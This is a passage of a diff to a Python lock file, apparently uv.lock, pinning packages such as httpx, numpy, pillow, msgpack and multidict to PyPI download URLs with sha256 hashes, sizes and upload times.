+dependencies = [ + { name = "certifi" }, + { name = "h11" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/06/94/82699a10bca87a5556c9c59b5963f2d039dbd239f25bc2a63907a05a14cb/httpcore-1.0.9.tar.gz", hash = "sha256:6e34463af53fd2ab5d807f399a9b45ea31c3dfa2276f15a2c3f00afff6e176e8", size = 85484, upload-time = "2025-04-24T22:06:22.219Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/7e/f5/f66802a942d491edb555dd61e3a9961140fd64c90bce1eafd741609d334d/httpcore-1.0.9-py3-none-any.whl", hash = "sha256:2d400746a40668fc9dec9810239072b40b4484b640a8c38fd654a024c7a1bf55", size = 78784, upload-time = "2025-04-24T22:06:20.566Z" }, +] + +[[package]] +name = "httpx" +version = "0.28.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "anyio" }, + { name = "certifi" }, + { name = "httpcore" }, + { name = "idna" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/b1/df/48c586a5fe32a0f01324ee087459e112ebb7224f646c0b5023f5e79e9956/httpx-0.28.1.tar.gz", hash = "sha256:75e98c5f16b0f35b567856f597f06ff2270a374470a5c2392242528e3e3e42fc", size = 141406, upload-time = "2024-12-06T15:37:23.222Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/2a/39/e50c7c3a983047577ee07d2a9e53faf5a69493943ec3f6a384bdc792deb2/httpx-0.28.1-py3-none-any.whl", hash = "sha256:d909fcccc110f8c7faf814ca82a9a4d816bc5a6dbfea25d6591d6985b8ba59ad", size = 73517, upload-time = "2024-12-06T15:37:21.509Z" }, +] + +[[package]] +name = "idna" +version = "3.19" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/5f/f7/abb373e5757eaec4b922b92f97ec8d6d7e057cf06778247604fbc4e7c3f3/idna-3.19.tar.gz", hash = "sha256:5e0811a4383b21dc5838069f801c4fb62113b7447663d2530d2bd6e77b49bf15", size = 215237, upload-time = "2026-08-18T05:14:24.27Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/57/b0/0e52c878c53f245edd3a11020f20979b3f490f245af532c7cae3027754b5/idna-3.19-py3-none-any.whl", hash = "sha256:815e7be7a7806d54abb586dc943addc79e8b2ee16915059658cbeff4b1b43bf4", size = 68550, upload-time = "2026-08-18T05:14:22.343Z" }, +] + +[[package]] +name = "iniconfig" +version = "2.3.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/72/34/14ca021ce8e5dfedc35312d08ba8bf51fdd999c576889fc2c24cb97f4f10/iniconfig-2.3.0.tar.gz", hash = "sha256:c76315c77db068650d49c5b56314774a7804df16fee4402c1f19d6d15d8c4730", size = 20503, upload-time = "2025-10-18T21:55:43.219Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/cb/b1/3846dd7f199d53cb17f49cba7e651e9ce294d8497c8c150530ed11865bb8/iniconfig-2.3.0-py3-none-any.whl", hash = "sha256:f631c04d2c48c52b84d0d0549c99ff3859c98df65b3101406327ecc7d53fbf12", size = 7484, upload-time = "2025-10-18T21:55:41.639Z" }, +] + +[[package]] +name = "markdown-it-py" +version = "4.2.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "mdurl" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/06/ff/7841249c247aa650a76b9ee4bbaeae59370dc8bfd2f6c01f3630c35eb134/markdown_it_py-4.2.0.tar.gz", hash = "sha256:04a21681d6fbb623de53f6f364d352309d4094dd4194040a10fd51833e418d49", size = 82454, upload-time = "2026-05-07T12:08:28.36Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/b3/81/4da04ced5a082363ecfa159c010d200ecbd959ae410c10c0264a38cac0f5/markdown_it_py-4.2.0-py3-none-any.whl", hash = "sha256:9f7ebbcd14fe59494226453aed97c1070d83f8d24b6fc3a3bcf9a38092641c4a", size = 91687, upload-time = "2026-05-07T12:08:27.182Z" }, +] + +[[package]] +name = "mdurl" +version = "0.1.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/d6/54/cfe61301667036ec958cb99bd3efefba235e65cdeb9c84d24a8293ba1d90/mdurl-0.1.2.tar.gz", hash = "sha256:bb413d29f5eea38f31dd4754dd7377d4465116fb207585f97bf925588687c1ba", size = 8729, upload-time = "2022-08-14T12:40:10.846Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/b3/38/89ba8ad64ae25be8de66a6d463314cf1eb366222074cfda9ee839c56a4b4/mdurl-0.1.2-py3-none-any.whl", hash = "sha256:84008a41e51615a49fc9966191ff91509e3c40b939176e643fd50a5c2196b8f8", size = 9979, upload-time = "2022-08-14T12:40:09.779Z" }, +] + +[[package]] +name = "msgpack" +version = "1.2.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/31/f9/c0a1c127f9049db9155afc316952ea571720dd01833ff5e4d7e8e6352dbb/msgpack-1.2.1.tar.gz", hash = "sha256:04c721c2c7448767e9e3f2520a475663d8ee0f09c31890f6d2bd70fd636a9647", size = 183960, upload-time = "2026-06-18T16:13:52.594Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/bc/dd/9e8cbd8f5582ca4b590336f2b91ee5662f6a6ca562b565abaf696a0f81ff/msgpack-1.2.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:2ef59c659f289eddf8aa6623823f19fa2f40a4029266889eac7a2505dd210c35", size = 83531, upload-time = "2026-06-18T16:12:58.249Z" }, + { url = "https://files.pythonhosted.org/packages/50/2e/ebdb85a8da151397a2790363676b7ed7c125924fe618e4c6d8befb0cc62c/msgpack-1.2.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:d3567748a5107cb40cdf66a275430c2f87c07777698f4bfd25c35f44d533258c", size = 82657, upload-time = "2026-06-18T16:12:59.396Z" }, + { url = "https://files.pythonhosted.org/packages/26/aa/753ad8b007b464e1d8aa0c8e650b9c5f4f725e658fc5ac8a7635c55b7f6e/msgpack-1.2.1-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:60926b75d00c8e816ef98f3034f484a8bc64242d66839cef4cf7e503142316a0", size = 410634, upload-time = "2026-06-18T16:13:00.383Z" }, + { url = "https://files.pythonhosted.org/packages/6a/fd/6adabd4f6d5e686f97dd02ce7fce3fe4cf672cbac36b8f67ff4040e8ad8b/msgpack-1.2.1-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:020e881a764b20d8d7ca1a54fc01b8175519d108e3c3f194fddc200bda95951a", size = 419989, upload-time = "2026-06-18T16:13:01.776Z" }, + { url = "https://files.pythonhosted.org/packages/5a/cc/85039b7b0eb168aaad7383a23c97e291a11f08351cb45a606ce865e4e3f1/msgpack-1.2.1-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:4202c74688ca06591f78cb18988228bd4cca2cc75d57b60008372892d2f1e6e6", size = 377544, upload-time = "2026-06-18T16:13:03.637Z" }, + { url = "https://files.pythonhosted.org/packages/ed/bf/35963899493b32030c85fc513b723ae66144ac70c11ebc52e889e16e3d99/msgpack-1.2.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:8b267ce94efb76fbd1b3373511420074ee3187f0f7811bf394531de13294735a", size = 400842, upload-time = "2026-06-18T16:13:05.012Z" }, + { url = "https://files.pythonhosted.org/packages/a6/df/8e2ac970c8f99264cd9997d1c73df5466bc19da3301d7dc5500862a9b089/msgpack-1.2.1-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:e4f1d0f8f98ade9634e01fb704a408f9336c0a8f1117b369f5db83dc7551d8b1", size = 374108, upload-time = "2026-06-18T16:13:06.232Z" }, + { url = "https://files.pythonhosted.org/packages/17/dd/fa8bd265110dfa51c20cb529f9e6d240a16fafe7e645004c6af2d01353ba/msgpack-1.2.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:f02cf17a6ca1abe29b5f980644f7551f94d71f2011509b26d8625ce038f0df64", size = 414939, upload-time = "2026-06-18T16:13:07.478Z" }, + { url = "https://files.pythonhosted.org/packages/2e/b9/8377a5ad8953fc0437c70cc98d9ae29f27fe5ac5109fbec0812085865735/msgpack-1.2.1-cp312-cp312-win32.whl", hash = "sha256:0c0d9802354507bcba62af19c17918e3eb437cc25e6f50657d511b5856a77aac", size = 64504, upload-time = "2026-06-18T16:13:08.822Z" }, + { url = "https://files.pythonhosted.org/packages/57/7f/ce1e377df7e62461fefd9eb23bfb93a4a523f40a517b377b8f844d836828/msgpack-1.2.1-cp312-cp312-win_amd64.whl", hash = "sha256:5c24aa15d5963051e1a5c62b12c50cd705992502b5ec1f3bece6046f33c9fc24", size = 71421, upload-time = "2026-06-18T16:13:09.828Z" }, + { url = "https://files.pythonhosted.org/packages/8f/32/ebfe84c9929f08f188d56c7a2fd913406a9ddad76a634697c1c43b8112e6/msgpack-1.2.1-cp312-cp312-win_arm64.whl", hash = "sha256:4227224aaec8f7fbcbfbd4272319347b2bb4030366502600f8c45588c5187b07", size = 64775, upload-time = "2026-06-18T16:13:11.056Z" }, +] + +[[package]] +name = "msgpack-numpy" +version = "0.4.8" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "msgpack" }, + { name = "numpy" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/08/94/61e8aee142733ebfdc400a05bdac6e1763c4514bba3b42743d223f388450/msgpack-numpy-0.4.8.tar.gz", hash = "sha256:c667d3180513422f9c7545be5eec5d296dcbb357e06f72ed39cc683797556e69", size = 10923, upload-time = "2022-06-09T03:43:08.739Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/9b/5d/f25ac7d4fb77cbd53ddc6d05d833c6bf52b12770a44fa9a447eed470ca9a/msgpack_numpy-0.4.8-py2.py3-none-any.whl", hash = "sha256:773c19d4dfbae1b3c7b791083e2caf66983bb19b40901646f61d8731554ae3da", size = 6919, upload-time = "2022-06-09T03:43:06.82Z" }, +] + +[[package]] +name = "multidict" +version = "6.7.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/1a/c2/c2d94cbe6ac1753f3fc980da97b3d930efe1da3af3c9f5125354436c073d/multidict-6.7.1.tar.gz", hash = "sha256:ec6652a1bee61c53a3e5776b6049172c53b6aaba34f18c9ad04f82712bac623d", size = 102010, upload-time = "2026-01-26T02:46:45.979Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/8d/9c/f20e0e2cf80e4b2e4b1c365bf5fe104ee633c751a724246262db8f1a0b13/multidict-6.7.1-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:a90f75c956e32891a4eda3639ce6dd86e87105271f43d43442a3aedf3cddf172", size = 76893, upload-time = "2026-01-26T02:43:52.754Z" }, + { url = "https://files.pythonhosted.org/packages/fe/cf/18ef143a81610136d3da8193da9d80bfe1cb548a1e2d1c775f26b23d024a/multidict-6.7.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:3fccb473e87eaa1382689053e4a4618e7ba7b9b9b8d6adf2027ee474597128cd", size = 45456, upload-time = "2026-01-26T02:43:53.893Z" }, + { url = "https://files.pythonhosted.org/packages/a9/65/1caac9d4cd32e8433908683446eebc953e82d22b03d10d41a5f0fefe991b/multidict-6.7.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:b0fa96985700739c4c7853a43c0b3e169360d6855780021bfc6d0f1ce7c123e7", size = 43872, upload-time = "2026-01-26T02:43:55.041Z" }, + { url = "https://files.pythonhosted.org/packages/cf/3b/d6bd75dc4f3ff7c73766e04e705b00ed6dbbaccf670d9e05a12b006f5a21/multidict-6.7.1-cp312-cp312-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:cb2a55f408c3043e42b40cc8eecd575afa27b7e0b956dfb190de0f8499a57a53", size = 251018, upload-time = "2026-01-26T02:43:56.198Z" }, + { url = "https://files.pythonhosted.org/packages/fd/80/c959c5933adedb9ac15152e4067c702a808ea183a8b64cf8f31af8ad3155/multidict-6.7.1-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:eb0ce7b2a32d09892b3dd6cc44877a0d02a33241fafca5f25c8b6b62374f8b75", size = 258883, upload-time = "2026-01-26T02:43:57.499Z" }, + { url = "https://files.pythonhosted.org/packages/86/85/7ed40adafea3d4f1c8b916e3b5cc3a8e07dfcdcb9cd72800f4ed3ca1b387/multidict-6.7.1-cp312-cp312-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:c3a32d23520ee37bf327d1e1a656fec76a2edd5c038bf43eddfa0572ec49c60b", size = 242413, upload-time = "2026-01-26T02:43:58.755Z" }, + { url = "https://files.pythonhosted.org/packages/d2/57/b8565ff533e48595503c785f8361ff9a4fde4d67de25c207cd0ba3befd03/multidict-6.7.1-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:9c90fed18bffc0189ba814749fdcc102b536e83a9f738a9003e569acd540a733", size = 268404, upload-time = "2026-01-26T02:44:00.216Z" }, + { url = "https://files.pythonhosted.org/packages/e0/50/9810c5c29350f7258180dfdcb2e52783a0632862eb334c4896ac717cebcb/multidict-6.7.1-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:da62917e6076f512daccfbbde27f46fed1c98fee202f0559adec8ee0de67f71a", size = 269456, upload-time = "2026-01-26T02:44:02.202Z" }, + { url = "https://files.pythonhosted.org/packages/f3/8d/5e5be3ced1d12966fefb5c4ea3b2a5b480afcea36406559442c6e31d4a48/multidict-6.7.1-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:bfde23ef6ed9db7eaee6c37dcec08524cb43903c60b285b172b6c094711b3961", size = 256322, upload-time = "2026-01-26T02:44:03.56Z" }, + { url = "https://files.pythonhosted.org/packages/31/6e/d8a26d81ac166a5592782d208dd90dfdc0a7a218adaa52b45a672b46c122/multidict-6.7.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:3758692429e4e32f1ba0df23219cd0b4fc0a52f476726fff9337d1a57676a582", size = 253955, upload-time = "2026-01-26T02:44:04.845Z" }, + { url = "https://files.pythonhosted.org/packages/59/4c/7c672c8aad41534ba619bcd4ade7a0dc87ed6b8b5c06149b85d3dd03f0cd/multidict-6.7.1-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:398c1478926eca669f2fd6a5856b6de9c0acf23a2cb59a14c0ba5844fa38077e", size = 251254, upload-time = "2026-01-26T02:44:06.133Z" }, + { url = "https://files.pythonhosted.org/packages/7b/bd/84c24de512cbafbdbc39439f74e967f19570ce7924e3007174a29c348916/multidict-6.7.1-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:c102791b1c4f3ab36ce4101154549105a53dc828f016356b3e3bcae2e3a039d3", size = 252059, upload-time = "2026-01-26T02:44:07.518Z" }, + { url = "https://files.pythonhosted.org/packages/fa/ba/f5449385510825b73d01c2d4087bf6d2fccc20a2d42ac34df93191d3dd03/multidict-6.7.1-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:a088b62bd733e2ad12c50dad01b7d0166c30287c166e137433d3b410add807a6", size = 263588, upload-time = "2026-01-26T02:44:09.382Z" }, + { url = "https://files.pythonhosted.org/packages/d7/11/afc7c677f68f75c84a69fe37184f0f82fce13ce4b92f49f3db280b7e92b3/multidict-6.7.1-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:3d51ff4785d58d3f6c91bdbffcb5e1f7ddfda557727043aa20d20ec4f65e324a", size = 259642, upload-time = "2026-01-26T02:44:10.73Z" }, + { url = "https://files.pythonhosted.org/packages/2b/17/ebb9644da78c4ab36403739e0e6e0e30ebb135b9caf3440825001a0bddcb/multidict-6.7.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:fc5907494fccf3e7d3f94f95c91d6336b092b5fc83811720fae5e2765890dfba", size = 251377, upload-time = "2026-01-26T02:44:12.042Z" }, + { url = "https://files.pythonhosted.org/packages/ca/a4/840f5b97339e27846c46307f2530a2805d9d537d8b8bd416af031cad7fa0/multidict-6.7.1-cp312-cp312-win32.whl", hash = "sha256:28ca5ce2fd9716631133d0e9a9b9a745ad7f60bac2bccafb56aa380fc0b6c511", size = 41887, upload-time = "2026-01-26T02:44:14.245Z" }, + { url = "https://files.pythonhosted.org/packages/80/31/0b2517913687895f5904325c2069d6a3b78f66cc641a86a2baf75a05dcbb/multidict-6.7.1-cp312-cp312-win_amd64.whl", hash = "sha256:fcee94dfbd638784645b066074b338bc9cc155d4b4bffa4adce1615c5a426c19", size = 46053, upload-time = "2026-01-26T02:44:15.371Z" }, + { url = "https://files.pythonhosted.org/packages/0c/5b/aba28e4ee4006ae4c7df8d327d31025d760ffa992ea23812a601d226e682/multidict-6.7.1-cp312-cp312-win_arm64.whl", hash = "sha256:ba0a9fb644d0c1a2194cf7ffb043bd852cea63a57f66fbd33959f7dae18517bf", size = 43307, upload-time = "2026-01-26T02:44:16.852Z" }, + { url = "https://files.pythonhosted.org/packages/81/08/7036c080d7117f28a4af526d794aab6a84463126db031b007717c1a6676e/multidict-6.7.1-py3-none-any.whl", hash = "sha256:55d97cc6dae627efa6a6e548885712d4864b81110ac76fa4e534c03819fa4a56", size = 12319, upload-time = "2026-01-26T02:46:44.004Z" }, +] + +[[package]] +name = "numpy" +version = "2.5.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/9a/80/db0b4559e57ec36362bedbb05530a87fafbcb6067708c946967a41d449e7/numpy-2.5.2.tar.gz", hash = "sha256:d482d171c406ae88c5b19cad3b6a1c4c5209f886ab74bc44c2c865c23f52d860", size = 20773161, upload-time = "2026-08-09T13:48:27.962Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/69/72/dccb0aaf40972777283303919f613964227266d0c13adebb79ac124f1c3e/numpy-2.5.2-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:14e373cfc6387177e8409dac3c7159be8eb05cd77096cd7c950268b86f62831c", size = 16891693, upload-time = "2026-08-09T13:44:51.702Z" }, + { url = "https://files.pythonhosted.org/packages/60/2e/b5aee50a1f74ac815cf8331812cb8251e29024025de462e0c047641c614c/numpy-2.5.2-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:4bbd96c833ecc8cc069ce518078fc8c60cb9cbfb0fea5b7a803ad65035596d03", size = 11903109, upload-time = "2026-08-09T13:44:55.501Z" }, + { url = "https://files.pythonhosted.org/packages/f3/f4/29e78102a80601cf034d4e9767022cffeca2c3b4c926e1754572ca95593d/numpy-2.5.2-cp312-cp312-macosx_14_0_arm64.whl", hash = "sha256:6e8172ddfcf5cf74b811d372b570b83c60bd2de87a6fbfbebdadb4a9bd9c6cbb", size = 5350202, upload-time = "2026-08-09T13:44:58.401Z" }, + { url = "https://files.pythonhosted.org/packages/11/4b/dcd3b7eadaf4035d2c7a4289d232523a6964f602598ef7674e4bd7291f93/numpy-2.5.2-cp312-cp312-macosx_14_0_x86_64.whl", hash = "sha256:65f188481f1669e26f62b701e8205d19e460fa4a9b52a1414ba382330e4a3414", size = 6687736, upload-time = "2026-08-09T13:45:00.813Z" }, + { url = "https://files.pythonhosted.org/packages/e5/21/4947e0e9d6c9fc2e2ff15b8949049ee44f63adb9cacc729ab8793f97e712/numpy-2.5.2-cp312-cp312-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:8ee9c4eeb8454b3660a8b53493563c3e121c2fc94fbd72b848ef814ed7b676a9", size = 15612696, upload-time = "2026-08-09T13:45:04.151Z" }, + { url = "https://files.pythonhosted.org/packages/3a/5f/62d28cf019460c7f1394105b4d49d9911a9c444cb77ab0bd95a204c5a6de/numpy-2.5.2-cp312-cp312-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:3cdec01fa790a186d430433fdd4d4ffb70eed6f0eeb4bf05c8dbe2dce0a9bcb8", size = 16722264, upload-time = "2026-08-09T13:45:07.714Z" }, + { url = "https://files.pythonhosted.org/packages/14/25/3f0be4c1b9fdf5dd5e708a6806978564d7c46a055c000496309ff2a2f8af/numpy-2.5.2-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:7999d4ddb0c4025018373fd787510d46e04c769467af22869707b3c1cfd459ab", size = 16974396, upload-time = "2026-08-09T13:45:11.316Z" }, + { url = "https://files.pythonhosted.org/packages/22/72/6262cbdeeb45da9d971e40715f579d791603ba8ec0b5e2db1ac55454421d/numpy-2.5.2-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:c1f017dc0875c9209d219f97feceb7d54c2661bb243deb4114478e1295808af7", size = 18476044, upload-time = "2026-08-09T13:45:14.869Z" }, + { url = "https://files.pythonhosted.org/packages/36/33/29208b8b075bde62d26a81d14b358c42b0f69b6cabd98d4ff97f37f22b05/numpy-2.5.2-cp312-cp312-win32.whl", hash = "sha256:d6a48072864e3324e194a8fbb3c657bcc5b5c869dbc64c9537b1d5c862572c0a", size = 6072817, upload-time = "2026-08-09T13:45:17.867Z" }, + { url = "https://files.pythonhosted.org/packages/7f/b9/87fea2769fe1c47c1b5b01d8310772c9d1a85d485de7cf386ef7a3332b02/numpy-2.5.2-cp312-cp312-win_amd64.whl", hash = "sha256:28ac63476ec7651484215ee7fa15a1f78b57c14621f01e392afe17b9a1390ce4", size = 12464674, upload-time = "2026-08-09T13:45:20.734Z" }, + { url = "https://files.pythonhosted.org/packages/14/52/032b97e00461ab0809bbe4c588b035620e5a14b8cdee47ecddefc7b17d33/numpy-2.5.2-cp312-cp312-win_arm64.whl", hash = "sha256:27650bb0e7140fa3d37b9923b4803645e0b125d190f326eecfd3f4dad8e8ade1", size = 10397131, upload-time = "2026-08-09T13:45:23.73Z" }, +] + +[[package]] +name = "packaging" +version = "26.3" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/7d/fa/3944b40b07da9ce895c0e6303a5ab7d53da063554f534556b134a54d6093/packaging-26.3.tar.gz", hash = "sha256:94edc256424af38762eb31306eed28beb9f0efc50a8837492c9d6fd6004aed79", size = 313412, upload-time = "2026-08-04T18:15:28.737Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/63/34/ba1c580383c9eada3711951fef0795c80b829a078d72188184bcab9dd527/packaging-26.3-py3-none-any.whl", hash = "sha256:d7193f7c8e4e93f444fde0262bf90af30e16fa0ad0ad44cb553c87339b23cd1c", size = 129956, upload-time = "2026-08-04T18:15:27.159Z" }, +] + +[[package]] +name = "pillow" +version = "12.3.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/1c/3d/bb7fca845737cf9d7dbde16ed1843984665ff2e0a518f5db43e77ec540b9/pillow-12.3.0.tar.gz", hash = "sha256:3b8182a766685eaa002637e28b4ec8d6b18819a0c71f579bf0dbaa5830297cce", size = 47025035, upload-time = "2026-07-01T11:56:38.965Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/37/bf/fb3ebff8ddcb76aac5a01389251bbbb9519922a9b520d8247c1ca864a25d/pillow-12.3.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:ba09209fbe443b4acccebe845d8a138b89a8f4fbaeedd44953490b5315d5e965", size = 5345969, upload-time = "2026-07-01T11:54:06.397Z" }, + { url = "https://files.pythonhosted.org/packages/d8/66/9a386a92561f402389a4fc70c18838bf6d35eb5eb5c6850b4b2dc64f5048/pillow-12.3.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:ffd0c5368496f41b0944be820fcb7a838aa6e623d250b01acf2643939c3f99d7", size = 4780323, upload-time = "2026-07-01T11:54:09.351Z" }, + { url = "https://files.pythonhosted.org/packages/25/27/ac8f99618ffd3dde21db0f4d4b1d2ab00c0880595bfd17df103f7f39fd0c/pillow-12.3.0-cp312-cp312-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:d9c7f76c0673154f044e9d78c8655fb4213f6ca31a836df48b40fe5d187717b9", size = 6266838, upload-time = "2026-07-01T11:54:11.71Z" }, + { url = "https://files.pythonhosted.org/packages/84/21/a35af28dcc61f37ed850a2d64c65c701321dfbf25085e469d5559360cbbf/pillow-12.3.0-cp312-cp312-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:78cb2c6865a35ab8ff8b75fd122f6033b92a62c82801110e48ddd6c936a45d91", size = 6940830, upload-time = "2026-07-01T11:54:13.732Z" }, + { url = "https://files.pythonhosted.org/packages/eb/51/8b08617af3ad95e33ce6d7dd2c99ed6c8298f7fb131636303956be022e25/pillow-12.3.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:e491916b378fba47242221bb9ead245211b70d504f495d105d17b14a24b4907c", size = 6344383, upload-time = "2026-07-01T11:54:15.756Z" }, + { url = "https://files.pythonhosted.org/packages/1d/72/cf78ac9780bb93c28328f408973845a309d4d145041665f734572ced1b52/pillow-12.3.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:0dd2064cbc55aaec028ef5fbb60fa47bb6c3e7918e07ff17935284b227a9d2df", size = 7052934, upload-time = "2026-07-01T11:54:17.721Z" }, + { url = "https://files.pythonhosted.org/packages/20/20/25e0f4dc178a6bc0696793720055519a0de89e7661dae886992decbd2f81/pillow-12.3.0-cp312-cp312-win32.whl", hash = "sha256:dbce0b29841537a2fa4a214c2bbf14de3587c9680caa9b4e217568472490b28f", size = 6472684, upload-time = "2026-07-01T11:54:19.839Z" }, + { url = "https://files.pythonhosted.org/packages/45/89/da2f7971a317f83d807fdd4065c0af40208e59e692cc43d315a71a0e96d1/pillow-12.3.0-cp312-cp312-win_amd64.whl", hash = "sha256:a2b55dd6b2a4c4b7d87ffa56bdb33fdc5fdb9a462173861a7bc097f17d91cb09", size = 7227137, upload-time = "2026-07-01T11:54:22.025Z" }, + { url = "https://files.pythonhosted.org/packages/de/47/4845a0a6c0dbf1db8456bd9fc791f13c5ced7ced20606d08a0aacfd25b49/pillow-12.3.0-cp312-cp312-win_arm64.whl", hash = "sha256:331b624368d4f1d069149002f25f44bc61c8919ce8ddb3c45bdad8f6e2d89510", size = 2568267, upload-time = "2026-07-01T11:54:24.051Z" }, +] + +[[package]] +name = "pluggy" +version = "1.6.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/f9/e2/3e91f31a7d2b083fe6ef3fa267035b518369d9511ffab804f839851d2779/pluggy-1.6.0.tar.gz", hash = "sha256:7dcc130b76258d33b90f61b658791dede3486c3e6bfb003ee5c9bfb396dd22f3", size = 69412, upload-time = "2025-05-15T12:30:07.975Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/54/20/4d324d65cc6d9205fabedc306948156824eb9f0ee1633355a8f7ec5c66bf/pluggy-1.6.0-py3-none-any.whl", hash = "sha256:e920276dd6813095e9377c0bc5566d94c932c33b27a3e3945d8389c374dd4746", size = 20538, upload-time = "2025-05-15T12:30:06.134Z" }, +] + +[[package]] +name = "propcache" +version = "0.5.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/ec/44/c87281c333769159c50594f22610f77398a47ccbfbbf23074e744e86f87c/propcache-0.5.2.tar.gz", hash = "sha256:01c4fc7480cd0598bb4b57022df55b9ca296da7fc5a8760bd8451a7e63a7d427", size = 50208, upload-time = "2026-05-08T21:02:12.199Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/4a/cb/e27bc2b2737a0bb49962b275efa051e8f1c35a936df7d5139b6b658b7dc9/propcache-0.5.2-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:806719138ecd720339a12410fb9614ac9b2b2d3a5fdf8235d56981c36f4039ba", size = 95887, upload-time = "2026-05-08T21:00:11.277Z" }, + { url = "https://files.pythonhosted.org/packages/e6/13/b8ae04c59392f8d11c6cd9fb4011d1dc7c86b81225c770280300e259ffe1/propcache-0.5.2-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:db2b80ea58eab4f86b2beec3cc8b39e8ff9276ac20e96b7cce43c8ae84cd6b5a", size = 54654, upload-time = "2026-05-08T21:00:12.604Z" }, + { url = "https://files.pythonhosted.org/packages/2c/7d/49777a3e20b55863d4794384a38acd460c04157b0a00f8602b0d508b8431/propcache-0.5.2-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:e5cbfac9f61484f7e9f3597775500cd3ebe8274e9b050c38f9525c77c97520bf", size = 55190, upload-time = "2026-05-08T21:00:13.935Z" }, + { url = "https://files.pythonhosted.org/packages/44/c7/085d0cd63062e84044e3f05797749c3f8e3938ff3aeb0eb2f69d43fafc91/propcache-0.5.2-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5dbc581d2814337da56222fab8dc5f161cd798a434e49bac27930aaef798e144", size = 59995, upload-time = "2026-05-08T21:00:15.526Z" }, + { url = "https://files.pythonhosted.org/packages/9c/42/32cf8e3009e92b2645cf1e944f701e8ea4e924dffde1ee26db860bcbf7e4/propcache-0.5.2-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:857187f381f88c8e2fa2fe56ab94879d011b883d5a2ee5a1b60a8cd2a06846d9", size = 63422, upload-time = "2026-05-08T21:00:16.824Z" 